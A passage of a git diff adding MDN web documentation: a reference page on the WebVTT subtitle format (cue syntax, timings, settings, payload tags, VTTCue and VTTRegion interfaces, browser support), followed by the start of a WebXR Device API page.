+00:00:00.000 --&gt; 00:00:10.000
+- Hello &lt;b&gt;world&lt;/b&gt;.
+
+NOTE style blocks cannot appear after the first cue.</pre>
+
+<p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p>
+
+<pre class="notranslate">WEBVTT
+
+1
+00:00.000 --&gt; 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --&gt; 00:05.000
+Transcrit par Célestes™
+</pre>
+
+<pre class="brush: css notranslate">::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }</pre>
+
+<p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p>
+
+<pre class="notranslate">WEBVTT
+
+00:00:00.000 --&gt; 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --&gt; 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --&gt; 00:00:06.500 position:45%,line-right align:center size:35%
+What are you waiting for?</pre>
+
+<h2 id="WebVTT_cues">WebVTT cues</h2>
+
+<p>A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:</p>
+
+<ul>
+ <li>An optional cue identifier followed by a newline.</li>
+ <li>Cue timings.</li>
+ <li>Optional cue settings with at least one space before the first and between each setting.</li>
+ <li>One or more newlines.</li>
+ <li>The cue payload text.</li>
+</ul>
+
+<h5 id="Example_7_-_Example_of_a_cue">Example 7 - Example of a cue</h5>
+
+<pre class="eval notranslate">1 - Title Crawl
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....</pre>
+
+<h3 id="Cue_identifier">Cue identifier</h3>
+
+<p>The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "<code>--&gt;"</code>. It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).</p>
+
+<h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5>
+
+<pre class="eval notranslate">1 - Title Crawl</pre>
+
+<h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5>
+
+<pre class="eval notranslate">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --&gt; 00:00:35.743
+Third
+</pre>
+
+<h3 id="Cue_timings">Cue timings</h3>
+
+<p>A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.</p>
+
+<p>If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is <code>chapters</code>) then the file cannot have overlapping timings.</p>
+
+<p>Each cue timing contains five components:</p>
+
+<ul>
+ <li>Timestamp for start time.</li>
+ <li>At least one space.</li>
+ <li>The string "<code>--&gt;".</code></li>
+ <li>At least one space.</li>
+ <li>Timestamp for end time.
+  <ul>
+   <li>Which must be greater than the start time.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The timestamps must be in one of two formats:</p>
+
+<ul>
+ <li><code>mm:ss.ttt</code></li>
+ <li><code>hh:mm:ss.ttt</code></li>
+</ul>
+
+<p>Where the components are defined as follows:</p>
+
+<ul>
+ <li><code>hh</code> is hours.
+
+  <ul>
+   <li>Must be at least two digits.</li>
+   <li>Hours can be greater than two digits (e.g., 9999:00:00.000).</li>
+  </ul>
+ </li>
+ <li><code>mm</code> is minutes.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ss</code> is seconds.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ttt</code> is miliseconds.
+  <ul>
+   <li>Must be between 000 and 999 inclusive.</li>
+  </ul>
+ </li>
+</ul>
+
+<h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5>
+
+<pre class="eval notranslate">00:22.230 --&gt; 00:24.606
+00:30.739 --&gt; 00:00:34.074
+00:00:34.159 --&gt; 00:35.743
+00:00:35.827 --&gt; 00:00:40.122</pre>
+
+<h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:01:00.000
+00:00:30.000 --&gt; 00:00:50.000</pre>
+
+<h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:10.000 --&gt; 00:01:00.581
+00:01:00.581 --&gt; 00:02:00.100
+00:02:01.000 --&gt; 00:02:01.000</pre>
+
+<h3 id="Cue_settings">Cue settings</h3>
+
+<p>Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.</p>
+
+<p>The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:</p>
+
+<ul>
+ <li><strong>vertical</strong>
+
+  <ul>
+   <li>Indicates that the text will be displayed vertically rather than horizontally, such as in some Asian languages.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="2">Table 1 - vertical values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th><code>vertical:rl</code></th>
+     <td>writing direction is right to left</td>
+    </tr>
+    <tr>
+     <th><code>vertical:lr</code></th>
+     <td>writing direction is left to right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>line</strong>
+  <ul>
+   <li>Specifies where text appears vertically. If vertical is set, line specifies where text appears horizontally.</li>
+   <li>Value can be a line number.
+    <ul>
+     <li>The line height is the height of the first line of the cue as it appears on the video.</li>
+     <li>Positive numbers indicate top down.</li>
+     <li>Negative numbers indicate bottom up.</li>
+    </ul>
+   </li>
+   <li>Or value can be a percentage.
+    <ul>
+     <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+     <li>Must be followed by a percent sign (%).</li>
+    </ul>
+   </li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 2 - line examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>line:0</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:-1</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+    <tr>
+     <th><code>line:0%</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:100%</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>position</strong>
+  <ul>
+   <li>Specifies where the text will appear horizontally. If vertical is set, position specifies where the text will appear vertically.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 3 - position examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>position:0%</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>position:100%</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>size</strong>
+  <ul>
+   <li>Specifies the width of the text area. If vertical is set, size specifies the height of the text area.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 4 - size examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>size:100%</code></th>
+     <td>full width</td>
+     <td>full height</td>
+     <td>full height</td>
+    </tr>
+    <tr>
+     <th><code>size:50%</code></th>
+     <td>half width</td>
+     <td>half height</td>
+     <td>half height</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>align</strong>
+  <ul>
+   <li>Specifies the alignment of the text. Text is aligned within the space given by the size cue setting if it is set.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 5 - align values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>align:start</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>align:middle</code></th>
+     <td>centred horizontally</td>
+     <td>centred vertically</td>
+     <td>centred vertically</td>
+    </tr>
+    <tr>
+     <th><code>align:end</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ul>
+
+<h5 id="Example_13_-_Cue_setting_examples">Example 13 - Cue setting examples</h5>
+
+<p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p>
+
+<pre class="eval notranslate">00:00:05.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --&gt; 00:00:10.000 vertical:rt line:-1 align:end
+</pre>
+
+<h3 id="Cue_payload">Cue payload</h3>
+
+<p>The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.</p>
+
+<p>A cue text payload cannot contain the string "<code>--&gt;"</code>, the ampersand character (&amp;), or the less-than sign (&lt;). Instead use the escape sequence "&amp;amp;" for ampersand and "&amp;lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&amp;gt;" instead of the greater-than character (&gt;) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.</p>
+
+<p>In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th colspan="3">Table 6 - Escape sequences</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Character</th>
+   <th>Escape Sequence</th>
+  </tr>
+  <tr>
+   <td>Ampersand</td>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+  </tr>
+  <tr>
+   <td>Less-than</td>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+  </tr>
+  <tr>
+   <td>Greater-than</td>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+  </tr>
+  <tr>
+   <td>Left-to-right mark</td>
+   <td></td>
+   <td><code>&amp;lrm;</code></td>
+  </tr>
+  <tr>
+   <td>Right-to-left mark</td>
+   <td></td>
+   <td><code>&amp;rlm;</code></td>
+  </tr>
+  <tr>
+   <td>Non-breaking space</td>
+   <td><code> </code></td>
+   <td><code>&amp;nbsp;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cue_payload_text_tags">Cue payload text tags</h3>
+
+<p>There are a number of tags, such as <code>&lt;bold&gt;</code>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is <code>chapters</code> then you cannot use tags.</p>
+
+<ul>
+ <li><strong>Timestamp tag</strong>
+
+  <ul>
+   <li>The timestamp must be greater that the cue's start timestamp, greater than any previous timestamp in the cue payload, and less than the cue's end timestamp. The <em>active text</em> is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. Any text before the <em>active text</em> in the payload is <em>previous text</em> . Any text beyond the <em>active text</em> is <em>future text</em> . This enables karaoke style captions.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5>
+
+  <pre class="eval notranslate">1
+00:16.500 --&gt; 00:18.500
+When the moon &lt;00:17.500&gt;hits your eye
+
+1
+00:00:18.500 --&gt; 00:00:20.500
+Like a &lt;00:19.000&gt;big-a &lt;00:19.500&gt;pizza &lt;00:20.000&gt;pie
+
+1
+00:00:20.500 --&gt; 00:00:21.500
+That's &lt;00:00:21.000&gt;amore
+</pre>
+  </div>
+ </li>
+</ul>
+
+<p>The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <code>&lt;b&gt;text&lt;/b&gt;</code>).</p>
+
+<ul>
+ <li><strong>Class tag</strong> (<code>&lt;c&gt;&lt;/c&gt;</code>)
+
+  <ul>
+   <li>Style the contained text using a CSS class.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5>
+
+  <pre class="notranslate">&lt;c.classname&gt;text&lt;/c&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Italics tag</strong> (<code>&lt;i&gt;&lt;/i&gt;</code>)
+  <ul>
+   <li>Italicize the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5>
+
+  <pre class="notranslate">&lt;i&gt;text&lt;/i&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Bold tag</strong> (<code>&lt;b&gt;&lt;/b&gt;</code>)
+  <ul>
+   <li>Bold the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5>
+
+  <pre class="notranslate">&lt;b&gt;text&lt;/b&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Underline tag</strong> (<code>&lt;u&gt;&lt;/u&gt;</code>)
+  <ul>
+   <li>Underline the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5>
+
+  <pre class="notranslate">&lt;u&gt;text&lt;/u&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby tag</strong> (<code>&lt;ruby&gt;&lt;/ruby&gt;</code>)
+  <ul>
+   <li>Used with ruby text tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby text tag</strong> (<code>&lt;rt&gt;&lt;/rt&gt;</code>)
+  <ul>
+   <li>Used with ruby tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Voice tag</strong> (<code>&lt;v&gt;&lt;/v&gt;</code>)
+  <ul>
+   <li>Similar to class tag, also used to style the contained text using CSS.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5>
+
+  <pre class="notranslate">&lt;v Bob&gt;text&lt;/v&gt;</pre>
+  </div>
+ </li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>There are two interfaces or APIs used in WebVTT which are:</p>
+
+<h3 id="VTTCue_interface">VTTCue interface</h3>
+
+<p>It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.</p>
+
+<p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> };
+enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> };
+enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> };
+enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> };
+enum <dfn>AlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn>, <dfn>"left"</dfn>, <dfn>"right"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vttcue" id="ref-for-dom-vttcue-vttcue-1">Constructor</a>(double <dfn>startTime</dfn>, double <dfn>endTime</dfn>, DOMString <dfn>text</dfn>)]
+interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackcue">TextTrackCue</a> {
+  attribute <a href="https://w3c.github.io/webvtt/#vttregion" id="ref-for-vttregion-1">VTTRegion</a>? <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-region" id="ref-for-dom-vttcue-region-1">region</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-directionsetting" id="ref-for-enumdef-directionsetting-1">DirectionSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vertical" id="ref-for-dom-vttcue-vertical-1">vertical</a>;
+  attribute boolean <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-snaptolines" id="ref-for-dom-vttcue-snaptolines-2">snapToLines</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-1">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-line" id="ref-for-dom-vttcue-line-2">line</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-linealignsetting" id="ref-for-enumdef-linealignsetting-1">LineAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-linealign" id="ref-for-dom-vttcue-linealign-1">lineAlign</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-2">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-position" id="ref-for-dom-vttcue-position-1">position</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-positionalignsetting" id="ref-for-enumdef-positionalignsetting-1">PositionAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-positionalign" id="ref-for-dom-vttcue-positionalign-1">positionAlign</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-size" id="ref-for-dom-vttcue-size-1">size</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-alignsetting" id="ref-for-enumdef-alignsetting-1">AlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-align" id="ref-for-dom-vttcue-align-1">align</a>;
+  attribute DOMString <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-text" id="ref-for-dom-vttcue-text-1">text</a>;
+  <a href="https://dom.spec.whatwg.org/#documentfragment">DocumentFragment</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-getcueashtml" id="ref-for-dom-vttcue-getcueashtml-2">getCueAsHTML</a>();
+};</pre>
+
+<h3 id="VTT_Region_interface">VTT Region interface</h3>
+
+<p>This is the second interface in WebVTT API.</p>
+
+<p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>]
+interface <dfn>VTTRegion</dfn> {
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>;
+  attribute long <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-lines" id="ref-for-dom-vttregion-lines-1">lines</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchorx" id="ref-for-dom-vttregion-regionanchorx-1">regionAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchory" id="ref-for-dom-vttregion-regionanchory-1">regionAnchorY</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchorx" id="ref-for-dom-vttregion-viewportanchorx-1">viewportAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchory" id="ref-for-dom-vttregion-viewportanchory-1">viewportAnchorY</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-scrollsetting" id="ref-for-enumdef-scrollsetting-1">ScrollSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-scroll" id="ref-for-dom-vttregion-scroll-1">scroll</a>;
+};</pre>
+
+<h2 id="Methods_and_properties">Methods and properties</h2>
+
+<p>The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:</p>
+
+<ul style="list-style-type: circle;">
+ <li>
+  <h3 id="VTTCue">VTTCue</h3>
+
+  <ul>
+   <li>The methods which are available in this interface are:
+    <ul style="list-style-type: circle;">
+     <li>GetCueAsHTML to get the HTML of that Cue.</li>
+     <li>VTT Constructor for creating new objects of Cues.</li>
+     <li>Autokeyword.</li>
+     <li>DirectionSetting: to set the direction of caption or text in a file.</li>
+     <li>LineAlignment: to adjust the line alignment.</li>
+     <li>PositionAlignSetting: to adjust the position of text.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <h3 id="VTTRegion">VTTRegion</h3>
+
+  <ul>
+   <li>The methods used for region are listed below along with description of their functionality:
+    <ul style="list-style-type: circle;">
+     <li>ScrollSetting: For adjusting the scrolling setting of all nodes present in given region.</li>
+     <li>VTT Region Constructor: for construction of new VTT Regions.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Tutorial_on_how_to_write_a_WebVTT_file">Tutorial on how to write a WebVTT file</h2>
+
+<p>There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:</p>
+
+<ol>
+ <li>Open a notepad.</li>
+ <li>The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.</li>
+</ol>
+
+<pre class="notranslate">WEBVTT</pre>
+
+<p>      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p>
+
+<pre class="notranslate">00:01.000 --&gt; 00:05.000</pre>
+
+<ol>
+ <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li>
+ <li>Following the similar steps, a complete WebVTT file for specific video or audio file can be made.</li>
+</ol>
+
+<h2 id="CSS_pseudo-classes">CSS pseudo-classes</h2>
+
+<p>CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.</p>
+
+<p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+04:02.500 --&gt; 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --&gt; 04:07.800
+Sur les &lt;i.foreignphrase&gt;&lt;lang en&gt;playground&lt;/lang&gt;&lt;/i&gt;, ici à Montpellier</pre>
+
+<p>In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <code>&lt;i&gt;</code> tag is for italics.</p>
+
+<p>The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:</p>
+
+<ul>
+ <li>Lang (Lanugage): e.g., p:lang(it).</li>
+ <li>Link: e.g., a:link.</li>
+ <li>Nth-last-child: e.g., p:nth-last-child(2).</li>
+ <li>Nth-child(n): e.g., p:nth-child(2).</li>
+</ul>
+
+<p>Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<h3 id="VTTCue_interface_2"><code>VTTCue</code> interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.VTTCue", 0)}}</p>
+
+<h3 id="TextTrack_interface"><code>TextTrack</code> interface</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.TextTrack", 0)}}</p>
+
+<h3 id="Notes">Notes</h3>
+</div>
+</div>
+
+
+
+<p>Prior to Firefox 50, the <code>AlignSetting</code> enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value <code>"middle"</code> instead of <code>"center"</code>. This has been corrected.</p>
+
+<p>WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to <code>true</code>. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to <code>false</code>.</p>
+
+<p>Prior to Firefox 58, the <code>REGION</code> keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports <code>VTTRegion</code> and its use; however, this feature is disabled by default behind the preference <code>media.webvtt.regions.enabled</code>; set it to <code>true</code> to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).</p>
diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html
new file mode 100644
index 0000000000..913ea6fcf9
--- /dev/null
+++ b/files/ru/web/api/webxr_device_api/index.html
@@ -0,0 +1,197 @@
+---
+title: WebXR Device API
+slug: Web/API/WebXR_Device_API
+translation_of: Web/API/WebXR_Device_API
+---
+<p>{{DefaultAPISidebar("WebXR Device API")}}</p>
+
+<p><span class="seoSummary"><strong>WebXR</strong> is a group of standards which are used together to support rendering 3D scenes to hardware designed for presenting virtual worlds (<strong>virtual reality</strong>, or <strong>VR</strong>), or for adding graphical imagery to the real world, (<strong>augmented reality</strong>, or <strong>AR</strong>).</span> The <strong>WebXR Device API</strong> implements the core of the WebXR feature set, managing the selection of output devices, render the 3D scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.</p>
+
+<p>WebXR-compatible devices include fully-immersive 3D headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.</p>
+
+<p>To accomplish these things, the WebXR Device API provides the following key capabilities:</p>
+
+<ul>
+ <li>Find compatible VR or AR output devices</li>
+ <li>Render a 3D scene to the device at an appropriate frame rate</li>
+ <li>(Optionally) mirror the output to a 2D display</li>
+ <li>Create vectors representing the movements of input controls</li>
+</ul>
+
